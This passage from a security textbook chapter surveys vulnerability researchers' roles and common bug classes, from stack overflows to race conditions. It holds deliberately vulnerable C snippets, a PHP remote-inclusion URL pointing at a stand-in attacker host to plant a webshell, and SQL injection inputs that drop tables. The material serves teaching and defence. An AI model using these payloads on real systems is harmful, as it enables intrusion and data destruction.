2000 server gets “PWNED” (hacker verbiage for compromised) by a VNC vulnerability. Another important factor with these products is the ability to “pivot,” which means that after exploiting a vulnerability on one host, it is able to then use that host as a new launch point. This is a very realistic method for penetration testers, as most attackers use one vulnerable host as a stepping-stone to further penetrate a network or to gather more information. 2.2 People Conducting Vulnerability Analysis Various people and organizations around the world audit software. They may do this for quality assurance reasons, as third-party auditors, or as hackers looking to find bugs for fun or for profit. Many terms exist for individuals who search for vul- nerabilities in software: • Security researcher. • Vulnerability researcher. • Bug hunter. • Penetration tester. • Hacker. • Cracker. • Tester. • Security assurance engineer. Some might use the terms synonymously, but typically there are differences. For example, researchers are typically given more time per project than penetration testers. Occasionally, researchers are self-employed or freelance. Penetration testers were traditionally known for their expertise in web auditing, but today are known for being very broadly trained in security. Hackers could be employed or not, and 38 Software Vulnerability Analysis Figure 2.2 Example of banner grabbing via the command line IP utility netcat. may or may not perform legal duties. Governments often employ the most skilled of these categories to perform both offensive and defensive information missions. Finally, testers work for companies attempting to produce high-quality software. Rigorously testing proprietary software before it hits the streets will save companies money and allow it to be deployed in critical situations. Skilled workers in all of these categories can expect to draw above average salaries as such skills take years of work experience and education to hone. Although the mission of these groups varies greatly, the tools, techniques, and technology are quite similar. Software companies may even try to recruit former security researchers or hackers in an attempt to better secure their own products before general release. Most of the people who work with vulnerability analysis have a computer sci- ence education and a passion for computer security. But for the most skilled hack- ers, the following skills are fundamental requirements to being successful in the field: • Knowledge of operating system internals; • C/C++ programming; • Scripting with languages such as perl/python; • IP networking; • Reverse engineering; • Knowledge of assembly language of the target architecture; • Systems administration. 2.2 People Conducting Vulnerability Analysis 39 Figure 2.3 VNC injection example via Metasploit.5 5From http://framework.metasploit.com/msf/gallery If you wish to write your own low-level protocol fuzzers, then the same set of requirements probably would apply to your job position. If, on the other hand, you would only use existing tools, the requirements would be less stringent. Below are some job descriptions of people who use the skills described in this book to make a living. 2.2.1 Hackers True hacking is a tough way to make a living these days, especially via legal means. First, you need to find unique bugs in interesting products. Only a few years ago, critical security bugs were easy to find even in big name products, but not so any more. It is still possible, however. Today, there are more and more people looking, and even most software developers have acquired tools that will help them in proactively preventing such vulnerabilities in their products before hackers will get a chance to find them. When a hacker finally finds an interesting bug, he or she needs to sell it.6 Var- ious security companies7 will purchase verified bugs, and they will pay a premium for big name bugs. Most of these companies will then report the problem to the vendor, potentially selling it to them. Some of them also have an interest in know- ing security problems before anyone else knows them, as their main business can be in building and selling vulnerability scanners or other security products. It is also possible to try to auction the found vulnerabilities to the highest bidder at dedicated auction sites.8 This might be more unethical, because you will lose control of where the data ends up, and how it will be used. Yet another choice is to sell bugs to var- ious government defense agencies.9 Options and opinions will differ on this touchy subject. It is also possible to earn money by illegal hacking activates. Cybercrime possi- bilities are as endless as the imagination. We obviously do not recommend that route because • It is immoral. • The police will eventually always catch you. 2.2.2 Vulnerability Analysts or Security Researchers Vulnerability analyst and security researcher are fairly generic terms. These researchers generally either work for a consulting company and find bugs in cus- tomers’ products for them or do this for fun on their own time. There is no formal certification or single training required for such a position although such individuals usually have boat loads of experience and education. A 40 Software Vulnerability Analysis 6Unless, of course, if you plan to use it for illegal purposes. 7For example, iDefense (http://labs.idefense.com/vcp/) and TippingPoint (www.zerodayinitia- tive.com/advisories.html) 8WabiSabiLabi (http://wslabi.com) is one such auction site. 9http://weis2007.econinfosec.org/papers/29.pdf single person who is employed to find bugs in various products can call him- or herself these titles. These people could be working for a big name contractor look- ing for bugs in customer source code via command-line tools10 and source naviga- tor. Or they could be government employees performing some secret reverse engineering assignments. They could also just be individuals, bug hunters who love to fuzz, or people who have a bone to pick with a specific vendor and like to find problems in those products. They could also be developers coding up the next gen- eration of Windows backdoors and everything in between. When someone says he or she is a “hacker,” this is the likely definition (or vice versa). Security researchers often fuzz. 2.2.3 Penetration Testers A penetration tester is traditionally someone who is hired to determine the strength of the network, host, physical, and psychological security. A penetration tester will generally be part of a team whose activities range from social engineering to break- ing into the systems that they are authorized to test. The network testing portion has become much easier with the advent of frameworks such as Metasploit, but it is still a fine art that requires skill and knowledge in a vast array of subjects. 2.2.4 Software Security Testers This career path is growing in importance and prevalence in major software shops around the nation. The goal is to improve security into companies’ development process. A popular slogan is that security shouldn’t be glazed on after develop- ment, but rather it should be baked in from the start. Testers are typically part of the quality assurance group and may have other testing requirements beyond just security, depending on the size of the company. Testers will be discussed further in Chapter 3. 2.2.5 IT Security Working in IT (Information Technology) security in the corporate environment is a bit different than say, being a reverse engineer for a defense contractor. In the lat- ter case you’re business support, while in the former case you are the business. As such, an IT role tends to include ROI (return on investment) type business knowl- edge/experience as well as technical skills. As an engineer, your technical skills (and, of course, some people skills) are really all that matter unless you decide to move into management. The other major difference would be dealing with users. In the past there was a misconception that most security failures were due to “dumb or careless users.” This is not always the case, although user education is a big part of a corporate security policy.11 So IT must deal with software failure, misconfigurations, users, physical access problems, and more. This is why the CISSP and similar exams were 2.2 People Conducting Vulnerability Analysis 41 10The ‘grep’ utility is the best known tool for searching for specific strings in text-based data, such as source code. 11For more information on creating a security policy see www.sans.org/resources/policies created to prove that a security specialist has knowledge of all domains.12 These certifications are particularly important if you want to do corporate security con- sulting (another great paying job, but typically involves a lot of travel). 2.3 Target Software In testing, analyzing, fuzzing, hacking, or whatever, the target system, target soft- ware, or target application is always the subject of interest. For example, if gftp.exe is of interest to test for remotely exploitable bugs, the target would be the gftp.exe binary or its source code. Choosing the target is a trivial matter for software testers since they will always be testing whatever software their company is producing. However, for bug hunters the choice is a little more complex. Some bug hunters are given a free rein mission: Go forth and find as many exploitable bugs in products in use on the Internet. So which product should a bug hunter look at? Perhaps the bug hunters should start with products they are interested in or already understand. For example, if you have tools for auditing C code, are good at it, and have access to the code, per- haps looking at something coded in C would be a good idea. Or if you like to fuzz network servers when no source code is available and are familiar with clear text protocols like FTP, SMTP, IMAP, etc. perhaps they would be a good choice. But even then, should you focus on big name products like IIS FTP (no known secu- rity issue since 2000) or lower hanging fruit like the free version of Golden FTP (multiple possible security bugs found in 2007 alone)? Golden FTP is more likely to have bugs because it is unlikely its development process is as rigorous as that of a widely used commercial product. Yet if a bug could be found in a Microsoft prod- uct, for example, the payoff (in dollars or fame) is much higher. 2.4 Basic Bug Categories Once a target is selected, it pays to know what kind of bugs are out there to find. There are many types of bugs to be found in software. Many can be uncovered with fuzzers, particularly those of the memory access violation variety. Many of the bugs/attacks will be briefly described below. Keep in mind that whole papers have been written on the specifics of each bug and the intricacies of exploitation, and this is intended only as an overview. 2.4.1 Memory Corruption Errors Memory corruption errors have been the most prevalent and effective method for maliciously exploiting a remote or local computer system. If memory can be cor- rupted (a return address, the GOT, SEH pointer, function pointer, etc.) often exe- cution can be redirected to attacker supplied code. 42 Software Vulnerability Analysis 12For more information on the 10 security domains, see www.isc2.org The words “buffer overflow” are common in the security field and are gener- ally understood to mean “bad things are happening.” While this is true, it’s not pre- cise. For example, a static buffer on the stack can be overrun, or a buffer allocated in the heap could be overrun. Both are overflows or buffer overflows. Both are tra- ditionally exploitable. However, one was a stack overflow, and the other a heap overflow. We’ll define each to achieve an appreciation for the variety of bug types. A basic understanding of how to exploit each type will be discussed as well. 2.4.1.1 Stack Overflows A stack overflow involves memory on the stack getting corrupted due to improper bounds checking when a memory write operation takes place. A simple snippet of C demonstrates this concept (Figures 2.4 and 2.5). Granted this example is shown on Vista, so this bug could not actually be ex- ploited beyond a denial of service due to Microsoft’s recent security enhancements (more on that later). But other stack overflow scenarios or this code on older plat- forms could be exploited to execute malicious code provided by the attacker.13 2.4.1.2 Format String Errors The format string bug was big in the late 1990s when it was first discovered. It has since gone out of style since it is so easily detected by static analysis (source code auditing) tools. The names “format string bug,” “format string vulnerability,” or FSE (format string exceptions) stem from two things: the functions in which the bugs can happen (printf() type functions) and the “format” characters that are used to create output. For example, a valid snippet of code would be printf("%s", user_supplied_buff); But an invalid usage would be #include <stdio.h> Int my_format_func(char * buff) { printf(buff); } int main(int argc, char * argv[]) { my_format_func(argv[1]); } When programmers made such mistakes, they were overlooked or thought harmless because the application still executed as intended. If you compile this example, it is interesting to see that when a %x is supplied as the argument to this program, the data printed is not a %x as you might expect. Something like 2.4 Basic Bug Categories 43 13www.eweek.com/article2/0,1895,2076062,00.asp is just one example of a Vista attack. 44 Software Vulnerability Analysis Figure 2.5 A register and stack trace from a debugger of above attack. Figure 2.4 Demonstration of a stack overflow. “bfc07d10” is returned. This is because printf used the %x as the format charac- ter. The normal arguments on the stack for a printf(“%x”, num); would be the “%x” (format character), and the number that the programmer wants printed. In our example, the printf printed the next value on the stack after the “format string,” as it was instructed to do. In this case, since there was no legitimate data to be printed, it grabs and prints the next value that happened to be on the stack (like a local variable, frame pointer (ebp), return address, etc.). So this technique could be used to scan the stack memory for interesting values. Similarly, a %d, %s, and more will print values off the stack. However, the %n can be used to write a value in memory. %n prints the number of bytes formatted to an address specified on the stack. A typical exploit would use a combination of these techniques to over- write a library function pointer or return address to gain control of the program.14 The following snippet of code and screen shot (Figure 2.6) give a demonstration of another format string in action: int main(int argc, char * argv[]) { if( argc !=2 ) { printf("Not enougy args, got:\r\n"); printf(argv[1]); exit(-1); } printf("Doing something useful in this part of code.\r\n"); } Figure 2.6 shows the execution of that code. As the parameters (the %s%x) are changed, varying information could be extracted off the stack or modified. 2.4 Basic Bug Categories 45 Figure 2.6 Demonstration of a format string vulnerability. 14The paper found at http://julianor.tripod.com/teso-fs1-1.pdf gives a good detailed explanation. 2.4.1.3 Integer Errors This class of bugs is commonly referred to as an integer overflow, but this label isn’t completely descriptive. Numerical wrapping, field truncation, or signedness problems might be more descriptive terms. Review the following snippet of code: #include <stdio.h> #include <string.h> int calc(unsigned short len, char * ptr) //implicit cast to short { if(len >= 10) return -1; printf("s = %d\n", len); return 0; } int main(int argc, char *argv[]) { int i; char buf[10]; //static buf == bad if(argc != 3) { printf("Bad args\r\n"); return -1; } i = atoi(argv[1]); if( calc(i, argv[2]) == -1) { printf("Oh no you don't!\n"); return -1; } memcpy(buf, argv[1], i);//using the int version of the len buf[i] = '\0'; printf("%s\n", buf); return 0; } Figure 2.7 shows the execution of the code. Why does the program crash when provided the string “65536”? Note that the input is cast as a signed integer by atoi(argv[1]). It is then recast as an unsigned short by the “s = i;” code. An int or dword on most systems is 32 bits. The original string input was translated to 46 Software Vulnerability Analysis 0x00010000. Since a short is only 16 bits, that was truncated to 0x0000. Thus, s was less than 10, but i=65536, which is enough to clobber the 10-byte buffer in the memcpy(buf, argv[2], i). Other similar errors such as a malloc(s=0) could have happened to create a null buffer and a consequent null pointer crash when it was next used in a memory oper- ation. Also, if a number is read in as signed or unsigned, but then used as the oppo- site in a later comparison, similar issues can occur. 2.4.1.4 Off-by-One An off-by-one error typically indicates that one too many bytes have been written to a particular buffer. On some systems (particularly little endian architectures, like Intel’s x86 architecture), this can lead to an exploitable condition if the buffer is directly next to the frame pointer (ebp) or some other function pointer.15 A typical bad slice of code might look like: int off_by_one(char *s) { char buf[32]; memset(buf, 0, sizeof(buf)); strncat(buf, s, sizeof(buf)); } The strncat copies one too many bytes, because it copies the stated size, sizeof(buf), plus one extra byte, a NULL or 0x00. Again, if this buffer is right next to the frame pointer ebp, it would become something like 0x08041200. The least significant byte (LSB) became null. An x86 stack wind/unwind is as follows: 1. pushes a. Puts function arguments on the stack 2. call a. Pushes the next executable instruction address (return address) to stack 2.4 Basic Bug Categories 47 Figure 2.7 Executing the example code with off-by-one error. 15This is the same basic problem as a standard stack overflow, except that the exploitation is different. 3. entr a. Pushes ebp to stack b. Sets ebp = esp c. Makes room for local variables on the stack by subtracting that amount from the stack pointer 4. leave a. Sets esp = ebp b. Pops dword from esp → ebp 5. ret a. Pops dword from esp → eip If the saved ebp was corrupted, the stack pointer preceding the second return will not be in the correct place. Since the LSB was “nulled,” it is possible that when the return executes, esp will be pointing in the user-supplied buffer that caused the off-by-one error. This could lead to a compromise, or as is generically said, “arbi- trary code execution.” Stack padding done by some compilers can mitigate such attacks. And of course, other newer protections (yet to be described) can also mit- igate such attacks. 2.4.1.5 Heap Overflow A heap overflow is when data is written beyond the boundary of an allocated chunk of memory on the heap. Heap memory (in C/C++) is allocated at run-time with the malloc() family of functions. As with stack overflows, control information is stored in-band, which, when overwritten with attacker-supplied data, can allow execution redirection. As with stack overflows, there are various ways and circumstances under which this vulnerability will be exploitable or not. Various protections, such as heap integrity checking, can be put in place to help prevent such attacks. Exploiting in-band heap information is a little more complex than overwriting a stack return address or SEH pointer. It is also very dependent on the specific implementation of the malloc library of interest. This is no surprise, since even exploiting stack overflows is different for Windows and Linux, so certainly it will be different with heap attacks. A detailed explanation of a heap overflow on vari- ous platforms is beyond the scope of this book. For now, it’s enough to understand that a traditional dlmalloc (the “Doug Lea” malloc implementation on GNU libc) involves the removal of a corrupted item from a doubly linked list. When the meta- data to this item is corrupted, it gives the attacker the ability to perform an arbitrary 4-byte write anywhere in memory. Typically, a function pointer in the GOT, or a stack return address, will be overwritten with an address that points to shellcode. The next time that function (say printf) is called, or when the function returns, attacker code will be executed. 2.4.1.6 (Uninitialized) Stack or Heap Variable Overwrites This is a newer class of bugs, and one that is often difficult to successfully exploit. Examine the following example: 48 Software Vulnerability Analysis int un_init(char *s) { char buf[32]; int logged_in; if ( strlen(s) > 36) { printf("String too long!\r\n"); logged_in =0; } else strncpy(buf, s, strlen(s) ); if (logged_in == 0x41414141) printf("hi -- you should never see this, because logged_in is never set by program code.\r\n"); } int main(int argc, char * argv[]) { un_init(argv[1]); } # ./uninitialized aaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbCCCCDDDD String too long! # ./uninitialized aaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbCCCC # ./uninitialized aaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbAAAA hi -- you should never see this, because logged_in is never set by program code. Note there is an integer in the program that is never initialized to a value. In this example, since a straight overwrite occurs, it is irrelevant that it is uninitialized, but in some cases that is key. In this simple case, if just the right string is sent, the inter- nal operation of the program can be alerted in ways not intended. Whether variable overwrites are exploitable is always application dependant and requires a heavy amount of reverse engineering and code flow analysis. 2.4.1.7 Other Memory Overwrites As we have seen from stack, heap, and variable overflows, any time an attacker can modify the internal memory of an application in unintended ways, bad things can happen, including the attacker’s gaining complete control of the system. Thus, we should not be surprised to learn that if data in other parts of the program can be modified, an attack might also succeed. Overwriting function pointers is another attacker favorite. Also, credential information stored in the BSS or data segment could be interesting to read from (think format string bug) or write to. The point is if arbitrary memory read or writes are possible, unintended consequences may result. 2.4 Basic Bug Categories 49 2.4.2 Web Applications The Internet has been growing exponentially since its inception. With 7.3 million pages being added each day,16 it is safe to assume a secure future for those auditing web applications for security. We will examine some common web bugs. Note that these types of problems are not unique to the web. For example, VoIP systems are known to have all the same types of flaws, as can any other system that will pass user-provided data forward to a script, database, or any other system. 2.4.2.1 PHP File Inclusions PHP is one of the many programming languages used to create interactive web pages. A remote file inclusion (RFI) is an attack that sometimes allows an attacker to run his own code on a website. Register_globals is ON by default in PHP ver- sions pervious to 4.2.0. When the register_globals parameter is ON, all the EGPCS (Environment, GET, POST, Cookie, and Server) variables are automatically regis- tered as global variables. This allows attackers to define a variable by simply edit- ing a URL. For example, consider the following vulnerable line of PHP: include($mypage . '/specialfile.php'); Links from this application may appear as follows: www.nicecompany.com/index.php?mypage=localfiles But, because the $mypage variable isn’t specially defined, the URL could be manually edited to this: www.nicecompnay.com/index.php?mypage=http://www.evilsite.com/ The include function instructs the server to retrieve the remote file and run its code. If this server is running a vulnerable version of PHP, the attacker would now have a webshell, sometimes referred to as a c99 shell (all without any type of buffer overflow, shellcode, etc!). The c99 allows the attacker to view and edit files as well as possibly elevate privileges. Again, newer versions of PHP have corrected this error by setting the register_globals to OFF (although some administrators will turn this back on because older applications may require it). Other measures such as clearly defining all variables and safer URL parsing should also be implemented. Another important configuration parameter is the “open_basedir” parameter, which should be set to the base directory where the main site file (index.php in this case) is located. This prevents attackers from reading in any local file from the web server by restricting access to the preconfigured directory. This is especially impor- tant in a shared hosting environment. 2.4.2.2 SQL Injections Many applications, especially web applications, use a structured query language (SQL) database backend to process user requests. For e-commerce sites, this is nec- 50 Software Vulnerability Analysis 16www2.sims.berkeley.edu/research/projects/how-much-info/internet.html essary to receive customer billing information and retrieve customer requests about offered products. If proper input validation is not preformed, a malicious attacker could craft special SQL queries to either retrieve information it should not have access to, force authentication statements to be true, or to inject SQL commands (such as adding a user) that it should not be able to run. In some situations, attack- ers may even be able to read files or run arbitrary code on the system. The single- quote character is of particular interest because it tells the SQL system to escape the currently executing command and run a new one. Supposed the following line of SQL is used to process a username: statement := "SELECT * FROM users WHERE name = '" + username + "';" If, for the username, an attacker inputs: b' or 'c'='c The effective SQL command would be SELECT * FROM users WHERE name = 'b' or 'c'='c'; Then this query would return data that could have the effect of bypassing authentication and allowing an attacker to log in, since c always equals c. If the attacker were to input b';DROP TABLE users; SELECT * FROM data WHERE name LIKE '% the user table would be deleted and information from the data table would be retrieved. A newer variation on this technique is called “blind SQL injection.” During a blind SQL injection, the attacker is looking at a perfectly valid page that continues to be displayed, whereas in typical SQL injection attack, the attacker is looking for error messages to help further the attack. In a blind SQL injection, one can test a page by verifying what a noninjected page looks like, let’s say a set of hockey scores, then the attacker begins inserting values into the request much like a traditional SQL injection. A properly crafted application will deny the extra characters and return a 404 not found or a generic error page. If the attacker still receives the set of hockey scores, even with the injection, then the application may be vulnerable. This type of vulnerability is useful for determining database and table names, enu- merating passwords, and gathering other information that can be used as stepping- stones to later attacks. See www.spidynamics.com/whitepapers/Blind_SQLInjection .pdf for more details. 2.4.2.3 XPath, XQuery, and Other Injection Attacks Metacharacter injection, like the single tick used in SQL injection, is actually a generic vulnerability class that occurs whenever one language is embedded in another. SQL, Shell, XML, HTML, LDAP search filters, XPath, XQuery HDL, 2.4 Basic Bug Categories 51 JDOQL, EJBQL, OQL, for example, are some of the areas where injection issues have been located. There appears to be no universal fix for this bug class. If programmers properly escaped user input, most of these attacks would disappear, but if programmers wrote perfect code, there would be no security bugs. As always, standard defense- in-depth strategies, such as limiting the application’s privileges, should be em- ployed. In some cases, like SQL, there may be functions that provide relief. For example, if SQL prepared statements are used, metacharacter injections are not pos- sible. In PHP, the mysql_real_escape_string(), is available to help filter potentially dangerous input characters. Static or runtime analysis tools can also be used to scan particular language bases for injection weaknesses. 2.4.2.4 Cross-Site Scripting (XSS) Cross-site scripting is a common method for malicious web users to abuse the rights of other web users of a particular site. In the typical scenario, two conditions must be met: First, an attacker must determine a page on the website of interest that contains a XSS vulnerability. That means the site must accept input and then attempt to display it without filtering for HTML tags and/or (Java/other) script code. Second, the attacker must select a victim, desired data, mechanism of coer- cion, and mechanism of retrieval. The desired data might be the victim’s login cookie, and the method of coercion might be a spoofed e-mail from the site’s admin. The collection mechanism might be a bogus website designed to collect such data. Once this is all ready, the attacker sends the victim the e-mail with the XSS link. If the victim clicks on the link, the attacker will now have a cookie since the script code, say JavaScript, will be executed in the victim’s web browser. This code may send the contents of the victim’s cookies (including session IDs) to the attacker. Such attacks could be automated to phish the masses on the vulnerable site. There are two main types of XSS vulnerabilities, reflected and stored. The sce- nario described above is of the reflected variety. Reflected XSS vulnerabilities dynamically execute scripting language code included with a request. In the above case, the code to send the victim’s login cookie would have been included in the particular link sent to the victim. It is called reflected because the malicious code is sent by the victim by following the link to the vulnerable server, which then “reflects” it back to the victim’s browser for execution. This code then runs in the context of the trusted site. The other type of attack is called a stored XSS vulnera- bility. In this case, the vulnerable web application is designed in such a way that the user input is permanently stored on the server and displayed (and executed) by any viewer to that page. Examples might be web forums or blog comments. This type is particularly nasty since any visitor to the site can be compromised. Defeating XSS attacks is similar to defending against other types of code injec- tion. The input must be sanitized. User input containing HTTP code needs to be escaped or encoded so that it will not execute. 2.4.3 Brute Force Login Brute force simply means trying something over and over again until a desired con- dition occurs. On systems that have no limit on attempted logins, user/password 52 Software Vulnerability Analysis combinations can be continually tried until a success is found. This is true of more than just logins. Credential cookies on webpages and URL guessing to view files, for example, can be used. Enforcing strong passwords, monitoring logs, and limit- ing access attempts from similar IPs can be an effective way to mitigate such attacks. Note: If automatic blocking (blacklisting) is present, the system may be vul- nerable to a denial of system attack. In this scenario, an attacker purposely fails to log in as the victim many times. When the system locks the victim’s account, the vic- tim can no longer access his or her own legitimate account. 2.4.4 Race Conditions Race conditions are vulnerabilities that arise due to unforeseen timing events. A standard example can be seen from the following code excerpt from an application running at higher privileges. if(!access(tempfilename, W_OK)){ fp = fopen(tempfilename, "a+"); fwrite(user_supplied_info, 1, strlen(user_supplied_info), fp); fclose(fp); } else { error("User does not have write permission to temp file\n"; } Suppose this application is SETUID root, i.e., running at a higher privilege level than the user who is using it. In this code, a temporary file is first checked to make sure the user has permission to write to it. If so, it appends some user-supplied data to the file. The problem here is the small amount of time that occurs between the permission check in the access() call and the use of the file in the fopen() call. This is sometimes called a time-of-check-to-time-of-use bug. During that small window, the user can create a symbolic link from the temporary file to a file he or she should not have access to, such as /etc/passwd. If timed just right, this will allow an attacker to append arbitrary data to this file and thus add a login account with super user privileges. This example shows that race conditions can be particularly difficult to exploit, but with a little patience and the fact the attacker can overload the system by fully utilizing system resources, attacks of this nature are possible. 2.4.5 Denials of Service A denial of service (DoS) or distributed denial of service (DDoS) is the act of over- whelming a system, service, or device to the point at which it can no longer service legitimate requests. An early DoS attack was the SYN flood, in which an attacker could take advantage of the inherent weakness of the TCP/IP stack by sending the first portion of the TCP handshake, the SYN packet, but never sending acknowl- edgments when the remote host responded. This could cause huge resource con- sumption, socket limit errors, or CPU utilization if many of these requests were sent at once. Now, these attacks can be lessened by firewall rules and settings inside var- ious operating systems. 2.4 Basic Bug Categories 53 At the application layer, denial of service attacks are also possible. The most obvious example would be a network server that doesn’t spawn new connections for each client attempt and also has a buffer overflow. If the attacker triggers the overflow in a nonexploitable way, the likely result is application failure (crash) and thus a DoS. Also, if an attacker can find a scenario in which the application does a lot of work while the attacker does only a little, this could result in a DoS. Imagine an applica- tion that performs some complex cryptographic function or database lookup in response to an attacker’s simple query. The attacker can generate many of these simple queries very quickly while the application must perform an intensive action each time. The result is that the application could become so overwhelmed that it will not be able to perform well, if at all, for legitimate clients. 2.4.6 Session Hijacking Session hijacking is the means of stealing a (often previously authenticated) session from a remote user and gaining access to the system or service at that privilege level. A common example of a session hijack is when a user has logged into a website that stores credentials in a cookie, and an attacker is able to retrieve that cookie and use it to bypass the authentication of the site the victim had recently visited. A good countermeasure to session hijacking is the use of a time-based authentication mechanism (a good base is Kerberos) combined with some cryptographic hash or algorithm and an expiry time for an authenticated session. 2.4.7 Man in the Middle A man in the middle (MITM) attack is one in which an attacker is able to sit between a client and a server and read or inject information into the data stream that is going to either side of the connection. There are prepackaged tools like ettercap that will enable one to easily execute a MITM attack on a local LAN by using a technique called ARP poisoning. This technique convinces the victim’s computer that the attacking system is its default gateway and the gateway believes that the attacker is the victim host. The attacker is then able to sniff (watch) all of the pass- ing traffic, and change any of the information in between. Again, strong encryption can help to mitigate this risk, but it is always a major concern, especially in large or public networks. 2.4.8 Cryptographic Attacks Cryptographic attacks are a way for an attacker to bypass an encryption or cryp- tographic system by attacking weaknesses in the algorithm that employs it. There are numerous methods for cryptanalysis that are far beyond the scope of this book, but in recent years cryptographic attacks are becoming more prevalent as more and more commercial products are relying on cryptography to protect their systems and software. 54 Software Vulnerability Analysis 2.5 Bug Hunting Techniques Now that we know the types of vulnerabilities that exist, it is time to talk about how to find them, which is what this book is all about. Traditionally, a hacker was simply a technically inclined person who took a deep interest in the technology by which he or she was surrounded. This led to incidents in which the individual had the ability to make free long distance phone calls, bypass biometric authentications, or misuse RFID, which ultimately led the term to carry strong connotations of mis- adventure or wrong doing. While some mystery still surrounds the secret lives of hackers, most that are involved in software vulnerability analysis operate in one of a few high-level man- ners: reverse engineering, source code auditing, fuzzing, or acquiring/extending bor- rowed, purchased, or stolen bugs. Since only the first three strongly relate to this book, we will ignore the vast and varied channels by which bugs or exploits are sold and resold. Once a bug has been identified, the process of creating an exploit begins. A next and equally involved step is the usage or deployment of such exploits, sometimes called information operations. These topics are also beyond the scope of this book. 2.5.1 Reverse Engineering Reversing engineering17 (RE or RE’ing) the internal design of a closed system, soft- ware, or hardware package is a very useful skill that has both legitimate and illegit- imate uses. Like so many skills, the reverse engineer could be working for one of many reasons, but as you’d expect we’re concerned with how RE could be used to find bugs in software. The objective is clear: Turn compiled binary code back into its high-level representation to understand the product, so that implementation errors can be sought out. The process for doing this is nontrivial and potentially time con- suming. Traditionally, it was done by hand: Begin by using a disassembler to retrieve a mapping from the binary op or byte codes, to the assembly language instructions. Next, manually determine the purpose of a block of assembly instructions. Iterate until enough understanding has been gained to achieve the given task. This process still largely involves manual inspection, but tools such as IDApro18 and Bindiff19 exist to accelerate the task. The following is a disassembled function, as shown in IDApro: var_28= dword ptr -28h var_24= dword ptr -24h var_20= dword ptr -20h var_1C= dword ptr -1Ch 2.5 Bug Hunting Techniques 55 17www.openrce.org/articles or http://en.wikibooks.org/wiki/Reverse_Engineering are good places to find more information about reverse engineering. 18For further information on IDA, check out www.datarescue.com/idabase/links.htm 19For more information on Bindiff, see www.sabre-security.com var_14= dword ptr -14h var_5= byte ptr -5 second_operand= dword ptr 8 first_operand= dword ptr 0Ch push ebp mov ebp, esp push ebx sub esp, 24h ; char * mov eax, [ebp+first_operand] mov [esp+28h+var_28], eax call _atoi mov ebx, eax mov eax, [ebp+second_operand] mov [esp+28h+var_28], eax call _atoi mov [esp+28h+var_1C], ebx mov [esp+28h+var_20], eax mov [esp+28h+var_24], offset aDAndD ; "%d and %d" lea eax, [ebp+var_14] mov [esp+28h+var_28], eax call _sprintf lea eax, [ebp+var_14] mov [esp+28h+var_24], eax mov [esp+28h+var_28], offset aTooManyArgumen ; "Too many arguments..." call _printf mov [esp+28h+var_28], offset aProceedAnyway? ; "Proceed anyway? [y/n]\r" call _puts call _getchar mov [ebp+var_5], al cmp [ebp+var_5], 79h jz short loc_8048657 One goal might be to turn this assembly code listing back into its original code. This is called decompilation. In general, for high-level languages such as C and C++, the act of decompilation is infeasible at best. Consider that many different versions of source code can correspond to the same assembly instructions. Also, aggressive compiler optimizations can make decompilation difficult. The following is the orig- inal C source code for the function disassembled above: int error(char * a, char * b) { char small_buff[15]; char c; sprintf(small_buff, "%d and %d", atoi(a), atoi(b) ); 56 Software Vulnerability Analysis printf("Too many arguments were supplied. Only the first two (%s) would get used.\r\n", small_buff); printf("Proceed anyway? [y/n]\r\n"); c = getchar(); if( c == 'y' || c == 'Y') do_addition(a, b); else printf("Ok, try again with better arguments.\r\n"); } However, it is not necessary to revert the application back to its original source code in order to identify bugs. Good vulnerability analysts know that ‘sprintf’ is a dangerous function (if the input is not trusted and used improperly), whether they see it in a source code listing or in a disassembly of a binary. This sample code does contain an error. In the source code, we see that ‘small_buff’ is only 15 bytes long. We know that an integer (%d) when printing into a buffer can be as large as 10 bytes. The “ and ” portion of the buffer takes up 5 bytes. So, in total, 10 + 10 + 5 = 25 bytes can be written. Since that is larger than the space allocated, a buffer over- flow can occur here. While this is a contrived example, it does illustrate an interest- ing point. If this function normally is used with only small integers passed to it, the buffer will not typically overflow. It could be used by thousands of users all the time without turning up the bug. It is only in extreme circumstances in which this vul- nerability will affect the execution of the program. Understanding the size of ‘small_buff’ is a little more difficult from the disas- sembly. ‘24h’ is subtracted from the stack, indicating the amount of space reserved for local variables—only a portion of that space is the undersized buffer. Therefore, a manual test of this potential flaw would have to be conducted to prove or dis- prove this statically discovered bug. Source code auditing is also used to analyze flaws. While this process might appear “easier” or more logical than reverse engineering (since the actual program source is available), such is not always the case. For example, a popular way to employ Bindiff is to look at one version of a Microsoft application, then examine a new version that has just been patched for security reasons. The difference between the two should yield the original bug. Such a technique might identify bugs much quicker than an entire review of a large code base. Also, more than a few professional hackers have expressed that sometimes the spotting of implementation flaws in assembly can actually be easier than in source code. This is because complex lines of C or other high-level languages can be con- voluted and hard to read. This could also be due to numerous macros, missing code that is not linked in or expanded until compile time. Having said all that, there cer- tainly are advantages to having source code. Complex structure can quickly be understood, comments are a huge advantage, and the auditor can simple grep (search) for arbitrary combinations of code that could be problematic. 2.5.2 Source Code Auditing Source code auditing typically involves using automated tools, plus manual verifi- cation, to search source code for bugs. The source could be any type (a library, 2.5 Bug Hunting Techniques 57 headers, main program code) and in any language. The process will vary from lan- guage to language. Again, to augment performing source code audits by hand, a variety of open source and commercial tools exist to help highlight suspect code. The commercial tools from companies like Coverity and Fortify tend to be very sophisticated and capable of finding many different classes of vulnerabilities. The biggest drawback, with regard to these static analysis tools, is the presence of false positives. While these tools take care to minimize them, it is impossible to completely eliminate false pos- itives, and some code that is not problematic will be identified as a vulnerability. As an open source example, Figure 2.8 illustrates the usage of the Rough Audit- ing Tool for Security (RATS)20 to analyze the following program: #include<stdio.h> void copy(char * ptr) { char buf[100]; strcpy(buf, ptr); printf("You entered: %s. Horray!\r\n"); } int main(int argc, char * argv[]) { if( argc != 2) { printf("bad args\r\n"); exit(-1); } 58 Software Vulnerability Analysis Figure 2.8 Running RATS against a trivial C source code file. 20www.fortifysoftware.com/security-resources/rats.jsp copy(argv[1]); } In this simple case, the RATS tool effectively highlights the buffer overflow that is present in the code. Note that it doesn’t actually prove the existence of a vulner- ability, rather via the usage of heuristics states that one might exist because strcpy was used. Therefore, even code using strcpy completely safely would be identified (wrongly) as being potentially vulnerable. However, more sophisticated tools such as those by Fortify have a more sophisticated understanding of the code and so can do a better job at identifying which strcpy’s are actually problematic, among other things. 2.6 Fuzzing The remaining method of finding bugs is the topic of this book. One of the main strengths of fuzzing is that if an input crashes an application, a problem definitely exists in the application (no false positives). It should be noted that both source code audits and reverse engineering are (traditionally) a purely static method for understanding the operation (and misoperation) of 